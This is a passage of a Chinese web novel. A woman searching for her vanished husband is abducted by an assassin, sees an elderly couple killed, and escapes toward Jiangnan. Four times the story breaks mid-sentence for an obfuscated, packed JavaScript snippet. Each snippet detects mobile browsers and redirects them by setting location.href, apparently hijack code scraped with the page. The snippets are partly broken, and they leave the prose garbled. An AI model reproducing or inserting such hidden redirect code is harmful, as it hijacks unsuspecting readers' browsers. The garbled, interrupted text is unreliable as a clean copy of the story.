闻到空气中的血腥气,走进破庙的段襄微不可觉地僵了一下,虽然纪杪春蓬头垢面,身上的囚服也破破烂烂的,但段襄却还是一眼就认出了她,可纪杪春却丝毫不记得他是谁了。
不过两年时间,纪杪春便从新妇变成罪人之女,她没了家,连那个入赘的夫婿都弃她而去。段襄感叹人心易变,看着纪杪春的时候心里也会有些酸楚。
这不应该是她的结局。
所以他要帮她,他分给她吃食,住所,又陪着她去找那个不靠谱的前夫君。在段襄心里,这不仅是帮纪杪春,也是帮他自己。
年少时的他总是幻想自己变得很厉害,想着有朝一日要在那个穿着绿裙子的少女面前好好展示一番,证明自己也是很有用的,不是个墙都翻不好的小毛贼。
而现在,他没能变得自己想象中那么厉害。可他却总算能让纪杪春知道,他也是很有用的,这就足够了。
……
雨夜,三人借宿在一个林中废弃的小屋里。纪清冬被一道惊雷吵醒,她满头细汗,看着纪杪春睡着了也还是紧皱的眉头,蹑手蹑脚地下了床。纪清冬的肚子有点痛,可是一想到马上就能回到燕北,见到父亲和母亲,这点疼痛便也没那么难以忍受了。
纪清冬把屋门开了个小缝,坐在门槛上看着外面的雨。雨势很大,细密的雨珠像是薄薄的雾气笼罩在空中,远处的草木都若隐若现。原本便是深秋,这雨一下便更冷了,纪清冬打了个哆嗦,刚打算关门,便看到远处有一个模模糊糊的人影缓缓走来。
纪清冬揉了揉眼睛,只见那人的身影在雨中若隐若现,像是浮在空中一般,令人看不真切。
妹夫变成鬼了?纪清冬一边这样想着,一边睁大了眼睛想看得更清楚一些。
细密的雨穿过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129344|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那人的身体,像千万根银针将他贯穿,见纪清冬正在盯着自己,他将食指竖起,比了个“嘘”的动作,示意纪清冬不要出声。突然屋内传来了哗啦啦的响声,纪清冬回头望去,发现那本桌子上的兔园册突然快速的翻动起来,随后又归于平静。
可等她再向门外望去,那人却已经不见了。
纪清冬觉得头有些发昏,她想要站起来,却直直地倒了下去。等她再睁眼,却已经到了第二天。
纪杪春刚醒,便发现纪清冬不见了。她着急地一下子坐起,只见纪清冬正靠在门口双眼紧闭,昨晚下了一夜的雨,她连袖口都湿了。纪杪春把手轻轻帖在她的额上,滚烫的热度一下便传了过来。
“你怎么在这里睡着了?”纪杪春问道。
纪清冬缓缓睁开眼,看着有些着急的妹妹,努力回忆昨晚的事,却发现自己已经记不清楚了,于是便只能说林中有鬼。
“有鬼?怕不是病糊涂了。”段襄皱着眉说道:“这附近有个镇子,那里有医馆,咱们先带她看郎中。”
纪杪春慌慌张张地把纪清冬扶上板车,又狠狠地踹了驴一脚,疼得驴直接弹射出去,随后一路疯跑,颠得三人肺都要吐出来了。天色灰暗,纪清冬忍着咳嗽,小声地问纪杪春自己是不是要死了,不然怎么会看到鬼。纪杪春呼吸一滞,让她别再乱说。
“小春,你还记得吗?娘说好人死了,会变成天上的雪,坏人死了,会变成脚下的泥。”纪清冬笑了笑,突然变得非常雀跃:“如果我死了,你记得每年冬天都来燕北看我。”
纪清冬觉得自己是燕北的孩子,哪怕变成了雪也是指甲盖一样大的雪,而不是江南那样细细密密的小雪。
如果她没变成雪的话,变成一只鬼也好。纪杪春每天都在看那本兔园册,如果她成了鬼,就要把想说的话写在兔园册上。
可惜如果她就这么死掉的话,就不能去江南了。纪清冬有些难过地垂下眸子,她记得以前父亲总是跟他说江南很美,春天的时候,江水蜿蜒地从城中穿过,像是一块蓝色的绸子。
纪杪春捂住纪清冬的嘴,企图让她别再说话。
她眉头紧锁,她盯着眼前的路,只希望能再快一点。纪清冬窝在她怀里睡着了,像个小火炉一样热乎乎的,连呼出的气也变得滚烫。
在京城的时候,哪怕住在破庙里,纪清冬都能吃能睡,可才奔波了不到半个月,她就已经比之前虚弱了许多。无论如何,之后纪清冬不能再跟她去江南了。纪杪春想到那些在黎镇的远房亲戚,思考着让纪清冬暂住在那里的可能性。她一心赶路,根本就没来得及看到兔园册上一夜之间出现的“黎镇徐家”四个字,也没注意到在颠簸中,册子掉在了路上。
看着眼前越来越近的镇子,纪杪春咬紧牙关,又狠狠踹了驴一脚。
5. 放风筝
幸好野驴跑得够快,它一路狂奔,直直地冲进镇子,扬起一片尘土,纪杪春带着纪清冬去了医馆,取了药之后盯着她服下,待她的额头不再滚烫才稍稍松了一口气。
天色渐晚,看着纪清冬还是身体虚弱,段襄咬了咬牙,打算出钱在镇上比较便宜的“橘子客栈”住一晚。
安顿好纪清冬之后,镇上又下起了淅淅沥沥的小雨,纪杪春洗漱之后本想直接歇息,当她习惯性地去掏那本兔园册时,却发现册子早就不见了。她没有半分犹豫,立刻下楼找店家借了伞,可还没等她出客栈的门,却被不知何时出现的段襄拦了下来。
“这么晚了,外面又下着雨,你就打算这么自己找?”问清楚缘由后,段襄皱起了眉头沉声问道。
他其实还想问问纪杪春,这册子就这么重要吗?值得她这个时候出去找?镇子虽然不大,但是就连纪杪春也不确定册子是何时不见的,这么找下去,得找到什么时候?
纪杪春看着屋外的雨,抿了抿唇:“我就在附近找找,不会走远……只是个册子罢了,找不到也没关系的。”
她嘴上这么说着,心里却还是止不住地难过。那可是苏晞光卷款潜逃之后,给她留下的唯一一样东西。
盯着纪杪春的表情,段襄在心里叹了一口气,最终还是说道:“……我也去。你在镇子里面找,我去镇外看看——说好了,就算最后没找到,也得尽快回来。”
二人说定后,纪杪春点了点头,随后便撑开伞走入细雨中。
太阳在天边隐去,凉风裹着细雨吹进伞下,冻得纪杪春止不住地哆嗦,连握着伞柄的指尖都微微发白,她寻着白天走过的路一路往回走,仔仔细细地盯着潮湿的地面。
天色昏暗,街边的景物在纪杪春眼中糊成了一团,分辨不清。每次看到像册子的东西,纪杪春便会蹲下来细细翻找,她的指尖被石子划破了,小小的血珠落下,很快便被雨水冲洗干净。
一阵风吹来,纪杪春手中的伞被猛地掀翻,她弯腰将伞捡起,可就这短短几秒钟,大雨却将她浇了个透,就连鞋子也浸湿了。
纪杪春抹去眼睫上的雨水,想起来曾经好像也有这样的一场雨。
那时她与苏晞光刚成亲没多久,眼看着苏晞光就要去参加秋闱,纪杪春便趁他闲时拉着他去郊外放风筝,取登高之意。
那风筝是纪清冬亲手做的,为了庆贺二人新婚,她特地在风筝上写了一句“朝朝暮暮常相伴”,接过风筝后,苏晞光又取笔补了一句“岁岁年年共白头”。
那天,明明出府的时候还是晴空万里,可到了郊外时,天色却一下子变得昏暗,风筝还没完全放到天上便被淅淅沥沥的雨水打湿落了下来。纪杪春垫着脚,将树枝上缠绕的风筝线解开,看着风筝上模糊不清的字叹了口气。
明明放风筝之前还是晴空万里,可为什么这写着常相伴、共白头的风筝一升上天便下雨了?
想到算命先生口中的犯伏吟煞,纪杪春隐隐约约地觉得这不是一个好兆头。
苏晞光给纪杪春撑着伞,他垂头望去,见纪杪春捧着风筝一脸失落的样子,便忍不住伸出手拍了拍她的脑袋。
“下雨了也照样可以放风筝。”他这样说道,随后便将伞柄塞到纪杪春手中,冒着雨回了马车,再回来时,他的手中拿着几根从车厢里取出来的长杆。
这是纪桐闲时去河边钓鱼的用的鱼竿,为了方便,平日里便放在马车中,却没想到被这小子找到了。苏晞光找车夫借了把刀,从袖口处割下几条布条将几个鱼竿紧紧地绑在一起,随后又把风筝系在长杆的顶端。
随着长杆抬起,看着逐渐升空的风筝,纪杪春的眼睛亮亮的。
“这算什么放风筝……”她口中小声抱怨着,却还是忍不住勾起了唇角。
雨势逐渐变大,那风筝在风雨中飘摇,远远望去好似飞在空中一般。明明已经被雨水浸透,它却还是带着那充满希冀的话语升上了天,就像是早就被算命先生下了定论的二人一般,努力地争取着不一样的结局。
明明当年那么相爱,可为什么苏晞光要丢下她一走了之?雨越下越大,纪杪春站在黑夜中,她紧紧地握着伞柄,指甲都嵌进了掌心,觉得自己似乎从未真正的认识苏晞光。
同床共枕一年的夫君,此时却无比的陌生。
纪杪春在寒风中不断颤抖,湿透的衣服紧紧贴在身上,像是沉重的枷锁拖慢了她的脚步,她就这样找啊找,在小小的镇子上走了一遍又一遍,直到雨势逐渐变小,天色泛白。
终于,雨停了之后,纪杪春在一个巷子的角落里发现了兔园册。
那册子落在泥泞的地上,最后几页沾满了泥水,可中间的纸页却十分干燥。纪杪春轻轻将它拾起,觉得这兔园册像是有人刻意放在这里的。
明明这个地方之前也找过几遍,可她却丝毫没有发现兔园册就在这里……也许是天色太暗,她没看清?
压下心头的不安,纪杪春转身便要回客栈,却被突然出现的段襄吓了一跳,还没等她说话,段襄便皱着眉头,语气有些焦急地小声说道:“有人在跟着你。”
话音刚落,一支利箭带着尖啸朝纪杪春射来,段襄将纪杪春往后一扯,只听叮的一声,那直冲面门而来的箭将她手中的兔园册完全贯穿,钉在了身后的墙上。
看着不远处屋檐上若隐若现的人影,段襄咬了咬牙,来者不善,仅凭他那靠偷盗练就的本事,不一定能保二人全身而退。
两个时辰前,他在镇子外搜寻无果,便打算回客栈等着纪杪春,可他等了许久纪杪春都不见人影,于是他便又出了门,在镇上找了一圈。
段襄好不容易在一个偏僻的巷子里找到纪杪春,那时她正弯腰将地上的兔园册捡起,他刚想出声叫住她,却听到头顶的瓦砾发出一丝轻微的声响,可当他意识到有人在偷偷跟着纪杪春时,却已经来不及了。
看着墙上那支尾端还在微微颤抖的箭,纪杪春轻轻推了一下段襄:“你带着姐姐先走,去黎镇找刘湘芝。”
刘湘芝是纪家表舅的女儿,按理说纪杪春应该叫她一声表姑。她与纪桐年龄相仿,目前就住在黎镇。纪清冬身体羸弱,要是真出了什么事跑都跑不了,不如先将她送到刘湘芝那里,起码能保她平安。
段襄眼里有些挣扎,却还是微不可查的点了点头,随后便迅速地翻到身后的墙内,一溜烟就不见了。
不愧是贼,跑得真快。纪杪春在心里给段襄竖起了大拇指。
见段襄跑了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129345|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,那跟踪之人似乎也不着急,他跳下屋檐,将墙上的箭拔了出来,手里拿着兔园册拍了拍纪杪春的脸。
“这册子是我在镇外捡的,没想到瓮中捉鳖这一招这么好用,这么快就引来了失主。我见这册子上的字迹有些眼熟,不知批注之人现在何处……你可知道?”他声音沙哑,口音却不像北地之人,倒是像从南边来的。
他是在找苏晞光?看这架势,不会是来寻仇的吧,可苏晞光一介书生,哪会惹上什么仇家?
看着眼前的黑衣人,纪杪春有些犹豫,不知道该怎么回答。
“不认识?那杀了也罢。”见纪杪春没有回答,黑衣人啧了一声,随后便掏出一把通体漆黑,上面还带着金色花纹的匕首架在纪杪春脖子上:“你这册子是哪来的?”
“我……我认识他,可我不知道他现在在何处,我也在找他。”纪杪春抖着声音说道。无论如何,保命要紧。
“他是我夫君,这兔园册是他送给我的。”
“夫君?你就是那个……”听到这话,黑衣人神色一变,又将纪杪春上下打量了一番,随后便嗤笑出声:“在外呆久了,眼光也变差了。”
此时的纪杪春蓬头垢面,衣服也湿哒哒的,像是刚从桥洞底下爬出来的流浪汉,黑衣人将手中的利刃又往前送了几分,明显是不信她说的话。
“别杀我,我说的是真的,他腰间有一块胎记,形状像朵小花。”纪杪春断断续续地说道,她能感受到颈边涌出一股热流,随后便是一阵刺痛,想必是划破了皮。
“……这倒是对上了。”黑衣人嘶了一声,收回了匕首。
“原来你躲到了这里,杀不杀你我可决定不了,得先问问那位大人。”黑衣人笑了笑,缓缓说道:“你说,若是你在我手上,你那夫君会不会自投罗网呢?”
“也、也许吧。”纪杪春干笑了两声,想着那苏晞光早就跑得没影了,也不太可能会为了她突然出现。
当然,她可不能把心里话说出来,一旦她失去了价值,说不定马上就嗝屁了。
黑衣人顿了顿:“要是找不到,拿你去交差也不错,若是主子觉得你没用,那到时候杀了便是。”
他没有给纪杪春说话的时间,便直接拦腰将她扛起,在屋檐上一路疾驰。
看着眼前不断后退的景物,纪杪春被颠得肺都要呕出来了,她死死地扯着黑衣人的裤腰带,战战兢兢地问道:“你为什么要找他,他只是一介书生,平日里门都不怎么出……”
“书生?”黑衣人似乎觉得这话可笑:“看来那小子什么都没说,他来头可不小。等我带你回去复命,你便知道了……不过在这之前,还得先去一个地方。”
黑衣人把纪杪春往上颠了颠,像扛着一只牲口。他虽然面上不显,心里却有些得意,幸好顺路来了一趟这镇子,明明天下大赦那天主子派了人去杀纪杪春,可杀她的人却不见了,在那之后,所有的线索像是被切断了一样,纪杪春也不知躲去了哪里。今日竟然让他给碰上了,也算他运气好。
他背上的纪杪春被甩来甩去,头也晕晕的,甚至没工夫多想自己那个身份不简单的小白脸夫君。
直到出了镇子,她才发觉这黑衣人竟然也是朝着黎镇的方向而去。
6. 徐娘子
黑衣人就这样一路扛着纪杪春,使着轻功往黎镇飞奔而去,速度虽然比野驴疯跑起来慢一些,但也说得过去。纪杪春一开始总是颠得想吐,但后来却逐渐适应了。这黑衣人虽然看着其貌不扬,但是明显比段襄有钱多了,连带着纪杪春也跟着沾了光,吃了几顿正常的饭菜。
不到一周,二人便趁着夜色进了黎镇。看着眼前熟悉的景象,纪杪春还没来得及感叹,就被黑衣人扛着翻进一户人家,然后便咚的一声被扔在地上。
听到声音,屋内走出来一对老夫妇。纪杪春刚站起来,后腰便被黑衣人狠狠地踹了一脚,她踉跄地往前小跑了几步,一下子跪在了两人面前。
“这可是那人亲自找的娘子,不好好看看她长什么样儿?”黑衣人不怀好意地笑道,一把扯着纪杪春的头发让她抬起脸来。
纪杪春头皮刺痛,她看着眼前满脸震惊的二人,心里却觉得有些眼熟,尤其是那妇人,她一定在哪儿见过。
很久以前,纪杪春还住在黎镇的时候,曾经想找那个叫西瓜的小弟玩耍,当时一个自称是西瓜大娘的妇人却让她别再来了。眼前之人虽然苍老许多,但是纪杪春还是一眼认出了她。
所以,黑衣人这是把她带到了苏晞光在燕北的家?
“徐娘子,念着你前些年伴读有功,只要你告诉我那小子现在在哪里,我便留你一命。”黑衣人对着妇人笑着说道:“但是吧,主子说了,没用的人直接杀了便是。”
“你若是不说,那便对不住了。”
那徐娘子一听这话,脸色变得煞白,她瞟了一眼纪杪春,带着丈夫扑通一下跪在了地上:“大人,小公子早早便去了京城,我们已许久未见,更不知他现在在何处。”
“大人若是不信,一探便知,屋内连半封书信也没有,我们人微言轻,又怎敢欺骗大人。”
见这对夫妇谨小慎微的样子,黑衣人二话不说,抬剑把二人挥开,直接便进了屋内。夫妇二人低着头站在门口,由着黑衣人在里面一通乱翻,看起来很是恭敬的样子。
听着屋内噼里啪啦的响声,纪杪春忍不住探头望去,却对上了徐娘子警告的眼神,于是她便也只好也乖乖站在原地。
许久之后,黑衣人一无所获,他拍了拍手上的灰走出门来,探究地盯着许娘子看了许久。
“屋内确实是什么东西都没有。”他说:“既然什么都没有,那烧了也不可惜。”
“主子说了,那小子在燕北藏了十年,他住过的地方太过晦气,让我们一旦找到了,烧了便是。而你们两个……”话音刚落,黑衣人便一剑杀死了徐娘子的丈夫,随后又把剑抽出,滴血的剑尖对着徐娘子直接挥下。
纪杪春虽然经历了生离死别,但看到这样血腥的场景,却还是忍不住打了个冷颤。眼看着利剑便要削去徐娘子的脑袋,她大脑一片空白,脱口而出:“等一下!”
“天色这么晚,咱们不如先在这里落脚,让这徐娘子做一桌饭菜。至于杀人,等、等明天再杀也不迟。”
“大人!”徐娘子吓得腿都软了,纪杪春话音刚落,她便颤抖着声音说道:“郎君已死,我也不愿独活,但还望大人给我些时间,让我为丈夫好好擦擦身子,以免他容貌凄惨,满身血污,走了也不安生!”
说完,徐娘子便拿过院里的一个斧头,狠狠地将自己左手五指挨个切下:“以此为证,绝无虚言!”
伴随着“噗”的几声,苍白扭曲的手指滚落,温热的血溅到黑衣人白色的衣领处,看着很是扎眼。
“啧啧。”黑衣人摇了摇头,收了剑:“既然如此,那便给你些时间,明日再杀你。”
他可不敢吃这徐娘子做的东西,谁知她会不会下毒,拼个鱼死网破?但此时确实天色不早,他也一身血腥味,再去客栈难免太过招摇,不如就在此处落脚。
纪杪春脸色苍白,看着地上的断指,觉得有些反胃。黑衣人拿了根绳子将她栓在门口,就像栓一头驴一样。农户养不听话的牲口,最开始的时候往往会拿绳子拴着,只要那牲口敢反抗,便会被鞭子抽得皮开肉绽,久而久之它们便会变得小心谨慎,哪怕没有绳子拴着也不敢逃离。
在黑衣人眼里,纪杪春就是牲口,那院子里死了的男人便是鞭子。纪杪春不会武功,又见识到了这样手起刀落人头落地的场景,黑衣人笃定她不敢逃跑,于是便进屋寻了个地方闭目养神,那本破破烂烂的兔园册也被他随手放到了桌子上。
徐娘子跪在院子里给丈夫擦着身子,刚擦干净,断指伤口处的血又滴了她丈夫一身。见纪杪春一直盯着自己,她便用那只完好的手向纪杪春挥了挥,示意她过来一些。
“这个给你。”见黑衣人似乎睡着了,徐娘子小声说道。她不知从哪里拿出一个小布包塞到纪杪春的手中,又将桌上的兔园册给了她,随后低声说:“出门之后往后山跑,你在这里待过,应该知道怎么走。”
早在纪杪春被扯着头发抬起头的那一刻,徐娘子便也认出了她就是当年那个说要跟苏晞光一起玩的小女孩。当时徐娘子把她拒之门外,却又连续几天见到这孩子在附近晃悠,看着很是不甘心,见得多了,徐娘子便对她的长相有些印象。
纪杪春接过那浸着血的布包,她有很多话想问,她想问一问徐娘子苏晞光到底是谁,为什么叫他小公子,为什么这个黑衣人一直在找他,可是话到嘴边,徐娘子却摇了摇头,示意她现在不是说话的时候。
徐娘子脸色苍白,眼中是浓浓的哀愁,她拿着那把切下自己五指的斧头,轻轻地将绑着纪杪春的绳子磨断。似乎是看出了纪杪春的想法,她轻声说了一句:“那孩子一向聪慧,定能逢凶化吉。”
说完之后,便将纪杪春推出门外。
此时正值午夜,街上无人,纪杪春出了门便一路朝后山跑去,没跑几步,便听到身后噼啪作响,回头一看,只见徐家燃起了熊熊大火,随后便传来一阵谩骂声和一道凄厉的惨叫。那妇人只高喊了一句“无愧夫人嘱托”,随后便没了声音。
纪杪春丝毫不敢停下来,她大口喘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129346|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
息着,喉头漫上一股血腥味,眼前也有些模糊。明明是在逃命,她的脑子里却还想着徐娘子的话。
苏晞光不是早就带着钱跑了吗,这有什么凶险的,为什么说他定能逢凶化吉?
在纪杪春眼中,苏晞光虽然武力值一般,但是智力值却绝对拉满,他那么聪明,应该是不会让自己陷入危险的……
可是这黑衣人为什么要找他?
纪杪春从小便在镇子上玩耍,哪怕是过了这么多年,每条通向后山的小路她都记得清清楚楚,她选了条最隐蔽的路一路狂奔,心里想着上次跑得这么快还是因为不小心劈了人家坟包上的木牌,那天的她因为心虚,也跟今天似的,跑得像只被狗撵的鸡。
这个操蛋的世界,纪杪春突然觉得自己很倒霉。
她不知道自己要去哪里,只知道低头往前冲,看着眼前的林子越来越近,纪杪春更是莽足了劲地跑,只见马上就要冲进林子里,却一把被人捞了起来。
纪杪春刚想惊叫,抬头却发现捞她的人是段襄。
“别说话。”段襄捂住她的嘴,带着她往镇子另一边逃去。
他与纪杪春分别之后,便带着纪清冬去了纪家在黎镇的远房亲戚那里。见到纪清冬时刘湘芝很是惊讶,虽然不情愿,但见纪清冬身体虚弱,便还是让她留了下来。
安顿好纪清冬后,段襄便打算原路返回去寻纪杪春,可他还没出黎镇,便看到纪杪春一路火花带闪电地冲向后山。他一路紧赶慢赶,好不容易才追上她。
人的潜力真是无穷的,他从来没见过跑得这么快的纪杪春。段襄提出带着纪杪春回去找刘湘芝,但是纪杪春生怕连累表姑,于是便想着在山上待几日,等过几天再去。
毕竟这黑衣人现在杀红了眼,要是发现纪杪春躲在刘湘芝家,可能这一家子人都活不成了。
纪杪春心里明白,父母去世之后刘湘芝看似很不待见她们姐妹二人,但实际上心里也很为难。纪桐的名声不好,来往的亲戚已经断了,刘湘芝能收留纪清冬已经算是仁至义尽了,何况她只是纪家的表亲,本身关系便不远不近的。
打定主意后,纪杪春便在后山呆了几日,幸好自从出狱之后一直生活在山里,所以她也算是习惯了这样风餐露宿的生活。
徐娘子给纪清冬的小布包里面装了一些银钱,那包着钱的布虽然看着不起眼,但却是辑里丝织成的,上面还绣着一个小小的沈字。
她相信徐娘子将这个布包给她,一定是想要向她传递什么消息。辑里丝价值不菲,徐娘子一个老百姓是怎么拿到的?说不定这个“沈”便与黑衣人口中的“主子”有关。
想到兔园册上的“先北后南”几个字,纪杪春觉得也许只有去了江南才能明白徐娘子的意思……或者苏晞光就在江南?想到这里,纪杪春决定不在黎镇多待,可在走之前,她也得去看看姐姐。
每日段襄都会在城里替她打探打探,直到连续三日没发现黑衣人的踪影后,纪杪春才放了心,趁着夜色去找了刘湘芝。
7. 大雪天
这几日黎镇有些不太平,一是城东的徐家莫名其妙地燃了一场大火,二是一个衣领带血的陌生男子似乎是在镇上找人,一连找了几天才离开,搞得镇上人心惶惶。
刘湘芝正坐在窗边对着烛火缝衣服,看着不远处吃着烧饼的胖乎乎的表侄女,忍不住叹了一口气。
说起来,她与这表侄女也有些时日没见了,不久之前有陌生男子将纪清冬带到她这里,随后镇上就有人家出事了,也不知道跟纪清冬有没有关系。
这孩子虽然命苦,但是吃得倒是不少。那陌生的男子也不提什么时候将她接走,把人放下就跑了。他们本就是做些小生意养家糊口,也不是什么大富大贵之家,再这样下去,全家的饭都让纪清冬一个人吃了。
话说回来,纪家明明有两个女儿,也不知道另一个去了哪里。刘湘芝又叹了口气,随后屋外便传来一阵敲门声。
“来了。”丈夫和女儿早就睡了,刘湘芝放下针线,起身去开门,却没想到门外站着的正是那天将纪清冬送过来的陌生人。在他身后,站着一个蓬头垢面的姑娘。
“你这是,又带来一个?”刘湘芝这回可不干了,她一边嚷嚷一边拉着段襄的袖子,生怕他将人送过来就又跑了。刘湘芝的丈夫元磊和女儿元菱也都被吵醒了,他们以为有歹人夜袭,举着菜刀就往门口冲。
“……表姐?”看到纪杪春之后,元菱惊呼道。二人小时候经常一同玩耍,虽然有些年没见了,但是元菱还是一下就将她认出来了,立刻把纪杪春迎了进来。
段襄在门口守着,纪杪春进了屋,三言两语便跟刘湘芝等人说清楚了自己的来意。听说纪杪春要去江南,纪清冬兴奋地一下子扑到她身上,差点把她撞飞。
纪清冬从小便想去江南玩,一听这话,立刻兴奋地要去准备路上的吃食,却被纪杪春拦了下来。
“你不能去,你就在表姑这里呆着,等我办完了事便回来接你。”拍了拍纪清冬胖乎乎的小脸,不过才在这呆了几天她便胖回去了,甚好甚好。
“表姑,这些钱你收着,就当是我姐的住宿……伙食费了。”纪杪春掏出徐娘子给的银钱,只给自己留下了一点,剩下的尽数递到刘湘芝手上,刘湘芝本来不太情愿,可当看到白花花的银子后瞬间两眼放光。
“这……是不是有些太多了。”她一边这么说着,一边忍不住露出了笑容。哪怕纪清冬饭量大,这些钱也足够她在这里呆半年,甚至连段襄寄养在他们后院的驴的饭钱都够了。
刘湘芝假意推辞了一番,接过钱后便热情地招待纪杪春梳洗一番,还拿了一套元菱的衣裙给她,随后又把段襄迎了进来。
为了不打草惊蛇,纪杪春只跟刘湘芝说自己要去江南投奔父亲的旧友。想起纪桐的事,元磊表示十分理解,还说有支商队马上就要启程去江南,商队老板跟他关系不错,可以带她一程。
“那商队骑的是马,坐的是马车,比你那驴子快多了。”元磊一边说着一边指着元菱说道:“到时候我就说你是阿菱的表妹,省得那帮爱嚼舌根的说闲话。”
如果真能跟商队一起去江南的话,不仅比骑驴快不少,也不用再风餐露宿,安全许多。纪杪春谢过元磊之后便去跟段襄说了此事,谁知段襄却说还有些事要在黎镇处理,让纪杪春先走。
商量好之后,纪杪春在刘湘芝家休息了一个晚上,第二天天不亮就启程了,走之前纪清冬抱着她哭了许久,段襄费了好大力气才把二人撕开,累得他气喘吁吁,满头大汗。
纪杪春走了之后,段襄便也跟刘湘芝等人道了别,随后便朝城东走去。自从着了一场大火之后,徐家的院子便被当地官府查封了,明明是白天,但是却依旧没人敢趴在门缝看一看里面的情形,只因这火起得太过诡异,像是为了掩盖什么一般。
段襄小心翼翼地避开他人,直接翻进了府中,只见院子里的花花草草都烧成了焦炭,尸体想必是已经被搬到了别的地方,整个院落空荡荡的,只剩下一个烧没了柄的斧头。
自从那晚把逃命的纪杪春带走之后,他便一直想来徐家看一眼。虽然纪杪春将那晚发生的事情全部了告诉他,但是他还是觉得有蹊跷。
按纪杪春的话说,苏晞光在这里住了那么多年,又怎么可能一件与他有关的物品都没有?想必是这徐娘子提前处理了。
走进房顶坍塌的屋内,段襄细细地看着每一处,生怕落下什么,可屋内的东西几乎都被火烧光了,哪怕这里真的有苏晞光的东西,估计也成了灰。
段襄一路走到了卧房,发现这里的墙被掉落的砖石砸得有些变形,他用力的敲了敲,才发现里面似乎是空的。他掏出匕首在墙上凿了个洞,才发现墙内有个小匣子,里面竟然藏了好几封信。
这是苏晞光与徐娘子夫妻俩沟通的信件,自从他去了京城,便偶尔会寄信过来。想必是那黑衣人检查得不够仔细,竟然没有发现。也许是因为苏晞光在这里住了太久,徐娘子早就把他当成了自己的孩子,于是便把这些信留在家里当个念想。
可将信件放在墙中实在是太过谨慎,如果不是经常身处危险之中,徐娘子应该不会刻意将其藏起来,想必她也不只是一个普通妇人。
苏晞光写的这几封信大多数是讲他在京中的生活,比如自己在什么地方找了个住所,或者说告诉徐娘子自己要成亲了,让她不要挂念。可唯有一封信,却只写了寥寥几句。这封信似乎写得很急,笔迹凌乱,还有许多涂改的痕迹。段襄站在破屋中,一字一句地读着这封信,眉头越皱越紧。
看完之后,段襄便把这封信放到自己的衣袋里,又将剩下的信全部烧成了灰。他看着眼前尚有余温的灰烬,只觉得遍体生寒。
他绝对不能让纪杪春看到这封信……起码现在不行。
……
纪杪春跟着商队出了黎镇,一路南行。快到立冬了,燕北已经下起了雪。初雪松软地覆在草地上,连马蹄声都小了许多。纪杪春坐在装货的马车上,虽然四周拥挤昏暗,但好在比坐驴车舒适很多,也不用再被冷风吹着了。
她听着外面商人们谈笑的声音,只觉得有些昏昏欲睡,可那个熟悉的名字却突然让她清醒起来。
“你们说这纪桐出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129347|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了那么大的事,老元不会受影响吧,他夫人跟纪桐的夫人不是亲戚吗?”有人说道:“这消息一出,还有人敢跟老元做生意吗?”
“嗐,他们家早就把自己跟那纪家摘得一干二净。况且纪桐不都死了,还说他干什么……干咱们这一行,一旦出了这样的差错,这辈子都别想翻身了。”
纪家贩卖私盐一事,说大不大,说小不小。京中的公子小姐们可能不太在意,但是商贾向来消息灵通,哪怕不认识纪桐,也听说了有这么一桩事。押货本就枯燥,一说起这个话题,大家瞬间来了精神,说得一板一眼的,像是就在现场一样。
“纪桐就是从咱们黎镇出去的,当时他发达了,咱们镇子不就有几个后生想投奔他,当时他多风光啊。结果现在可好,人死了,女婿也跑了,要我说啊,他就不该走得太险。”有个大胡子说道,话音刚落,就有人反驳。
“话不能这么说,富贵险中求嘛,当年你不也打算投奔他来着,利益在前,谁还管险不险。”
纪杪春听着,突然想起来苏晞光曾经也说过类似的话。当年苏晞光中举没多久,纪桐便说有新的结交之人给他介绍了赚钱的路子,那时的苏晞光便说这一步走的太险,可纪桐却并未听他的话。
当时苏晞光不再多说,可自那以后,他却总是悄悄地离府,不知道干什么去了。现在想来,说不定是给自己留退路,提前规划好和离之后怎么跑吧,要不然现在怎么像人间蒸发一样,连个影都见不到。
……总不能,是提前意识到岳丈被坑了,替纪家找解决之法吧。
